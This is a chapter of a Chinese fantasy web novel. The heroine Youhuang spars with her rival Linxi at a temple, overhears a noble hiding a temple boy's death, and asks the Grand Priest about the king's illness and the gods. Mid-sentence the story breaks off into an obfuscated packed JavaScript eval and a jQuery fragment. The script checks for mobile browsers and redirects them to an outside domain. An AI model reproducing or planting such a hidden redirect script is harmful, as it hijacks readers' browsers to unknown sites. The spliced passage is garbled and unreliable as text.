他的笑容前所未有的温柔,正看着面前的男孩唱歌。一曲终了,临奚道:“唱得不错,”又从衣服里掏出一包蜜饯,“这个给你吃吧。”
男孩眉开眼笑,接过蜜饯:“谢谢漂亮哥哥!”然后欢天喜地地经过幽媓,跑开了。
幽媓回过神来。
“看够了吗?”临奚站起身,负手而立,他对着她的方向露出笑意,“不认识我了?”
幽媓上前几步,盛气凌人道:“你怎么在这里?”
临奚挑眉:“怎么?我不该在这里?”
“大司命颁布了破巫令,你敢在这个时候出现在神殿,不怕被他们抓起来吗?”
“你不也在这里?”
幽媓瞪他:“我和你又不一样。”
“哦?哪里不一样?”临奚故作模样地思索着,然后恍然大悟道,“哦,我想起来了,你是扶桑王的红颜知己。”
幽媓白了他一眼:“你没被巫血契反噬吗?”
“恐怕要让你失望了。我虽不慎让你逃了去,却阴差阳错成全了你的试炼,为此,我不仅没有遭反噬,还灵力大增。”
“……狗屎运。”幽媓愤愤道。
临奚望着她气红的脸,笑意更浓。
他不露身份时,眼睛就是淡淡的琥珀色,阳光之下近乎透明,像块流光溢彩的水晶,让人移不开目光。
幽媓转过头:“刚刚那个孩子是谁?”
“他是神殿里的圣童,”临奚说,语气淡淡的,“这些孩子自小在圣殿里长大,相貌昳丽却出身卑贱,无法和灵力高强的祭司相比,所以成年后便会被驱逐出去,沦落街头。”
“……你刚刚给了他一包蜜饯?”
“嗯。”
“就因为他给你唱了首歌?你会有这么好心?”幽媓冷嘲热讽,“怕不是下了毒吧?”
临奚道:“我不会把心思浪费在无关紧要的人身上。”
“哼,我与你素不相识,你却一而再再而三地取我性命,现在又在这里装正人君子……”
“那是因为你挡了我的路,”临奚说,“无论谁挡我的路,我都会不惜一切代价,除掉他。”
幽媓冷哼道:“你我的恩怨,日后我自会找你清算,现在是在神殿里,我不方便动手,你最好……”
话只说到一半。
临奚忽然脸色一变,将她拉到树后。幽媓一惊,抬手便要施法,却被他握住手腕。
他贴近她耳畔,低声道:“噤声。”
幽媓皱眉,她听到庭院里纷杂的脚步声,有男人暴怒的声音传来:“没用的东西,就是这么给我办事的?”
“侯爷饶命!我……我昨日同那圣童说了,没见他反抗,我也没想到他会自杀啊……”
“废物!这可是在神殿里!赶紧想办法把尸体处理了!别让人发现,落下口舌!听到没有?”
“是……是……我这就去办……”
“哼,不识抬举的东西,能被本侯看上是他的荣幸!是旁人八辈子都修不来的福分!竟然敢自杀……”
脚步声渐渐远去。
幽媓从树后探出头来,瞧见那人的背影——是个虎背熊腰的中年男人,看起来身份尊贵。
“定阳侯樊禹,樊离的堂弟,”临奚淡淡道,“据说他有龙阳之好,尤其喜欢挑圣童下手。”
幽媓震惊地回头看他,又回过头看樊禹的背影,憋了半天说了句:“……变态……”
临奚淡淡瞥她一眼,仿佛已经司空见惯:“看到了么?所谓的圣童,其实都是这些世族公卿的玩物。”
幽媓皱眉:“大司命不知道吗?”
“算是默许吧,毕竟权力面前,谁也不会主动给自己讨不痛快,何况是为了一群身份低微的孩子,”临奚不无讽刺道,“越是这些身居高位者,越是难以被寻常的乐趣满足,表面上看着芒寒色正,背地里龌龊不堪……”
他侧眸:“你的那位扶桑王,说不定也是如此。”
“……你少污蔑人!”
“我在劝你擦亮眼睛,不要随便相信别人。”
幽媓冷笑:“不信别人,难道信你吗?”
“你可以试试。你我是同族,我肯定比那个扶桑王更值得你的信任。”
幽媓瞪他:“做梦!”
说完便转身离去。
“有朝一日,你威胁到他的权力,他必然会杀了你,”临奚在她背后道,“敢不敢赌?”
“谁稀罕和你赌这些无聊的东西,”幽媓脚步未停,留下冷冷清清的一句,“我劝你管好自己,别插手别人的事。”
……
“幽媓大人,大司命召见您。”
“嗯,我这就来。”
……
推开那扇雪白的门,映入眼帘的却是修着符文的随风舞动帘幔,檀香里混着淡淡药香,幽媓抬眸望去,看到了倚在病榻上的大司命。
他年事已高,须发皆白,见她进来招招手道:“上前来。”
幽媓握紧袖子里的手,恭敬地走到他跟前。
“司药幽媓,见过大司命。”
“起来吧,不必拘谨,”大司命温声道,“来,坐。”
他望着幽媓,眼神竟十分和蔼慈祥:“我听罗泱说,你想同我问关于王上的事。”
幽媓点点头:“是。”
“听说,你很关心王上的病情?”
幽媓脸一红:“我是悬壶宫的司药,理应为王上诊治。”
“是么?青胤之前可不是这么说的,”大司命道,声音里带着调侃的笑意,“他传信给我,说他找到了预言里的巫女。”
幽媓猛地抬眸:“大司命,我……”
“别怕,我知道你担心什么,破巫令是么?那是因为王城中最近有异动,王上怀疑有贵族勾结巫族行祸国殃民之举,破巫令表面上是在诛杀巫族,实则是在清算佞臣,与你无关。”
“……是什么异动?”
大司命神色沉重,叹了口气,道:“夜宴之后,城里忽然出了好几起命案,有的人说这是巫族手笔,为了避免恐慌,我出面颁布破巫令,但抓起来的都不像是你的族人,所以他们现在还被我关在地牢里,没有发落,王上最近可曾和你提过?”
当然没有。青胤忙
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16414619|184695||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
于政事,夙兴夜寐,即便几次来见她时也对朝堂之事闭口不提,无论是战争还是破巫令,他似乎都有意不让她操心。
幽媓摇摇头。
“看来王上是不想牵连你,难怪他只是传信给我,却始终没有带你来见我,想来他留你在宫里,也是在保护你吧,”大司命叹息道,“青胤这孩子命苦,他虽贵为天子,但自小到大,却没有多少时日是为自己而活的,何况他的命数……唉……”
幽媓心一紧:“大司命,这病到底是怎么回事?”
大司命的眼底浮现出悲怆之色:“说来话长。”
他叹了口气,缓缓道:“王上自小聪明伶俐,文武双全,先王很器重他,早早就让我做帝师,培养下一任储君,可我们谁也没想到会发生那样的事情……我依稀记得,那是个非常寒冷的冬天,当时先王后卧病,青胤在她身边侍候,本来一切都算正常,谁知回去后不久,青胤竟然就一病不起,身上还出现了那些诡异的裂纹……先王以为他是受了诅咒,要我占卜,结果龟甲上说,青胤上一世和暗神达成了契约,所以它要把他带走。先王实在没有办法,只好把青胤关在了永恒之塔里,乞求不要被暗神发现……”
预言,又是预言。幽媓皱眉:“大司命,我想请教一下,您是如何通过龟甲预言的?”
“我们熏裂龟甲,看上面的裂纹,当然,只有那些得到眷顾的天资聪颖之人才能读懂神的旨意。”
“那……您亲眼见过神吗?”
听到她的话,大司命的表情意味深长:“你觉得呢?”
幽媓说:“您如此笃信神的存在,想来是亲眼见过的。”
熟料大司命却哈哈大笑起来:“非也,神不在眼里,而是在心里。”
幽媓一怔。
“在你眼里,明神是什么样子的?”大司命问。
幽媓摇摇头:“我没有见过它。但我觉得,它应该会看到这世间的疾苦,会听到人族的祈祷,它怜悯众生,会保佑我们一次次从磨难里挣扎着站起来……”
大司命又笑了:“那只是你的神。”
“难道它不是这样吗?”幽媓疑惑道。
“不,你觉得神应该是什么样子,它就是什么样子。你去看外面跪在神像脚下祈祷的人,他们跪的,也只是他们的神。我刚刚说过,神不在眼里,在你的心里。你的心是什么样子,神就是什么样子。如果有一天,你的心变了,你的神也就变了。”
幽媓快被绕糊涂了:“我听不懂。”
“因为你现在还年轻,有朝一日,你自会明白,”大司命笑道,“扶桑是个神奇的地方,几千年前,奉渊在这里杀了龙,他终其一生都在侍奉自己的神……幽媓,我希望有一天,你也会在这里找到属于你的神。”
幽媓的手忽然颤抖起来。
属于她的神……
是什么呢?
不是暗神,因为它抛弃了她。
也不是明神,因为它从来都不曾回应过她。即使她表面上恭恭敬敬,日日叩拜,也从未从心底里敬畏过。
可这世上,难道还有别的神吗?她应该去哪里找它?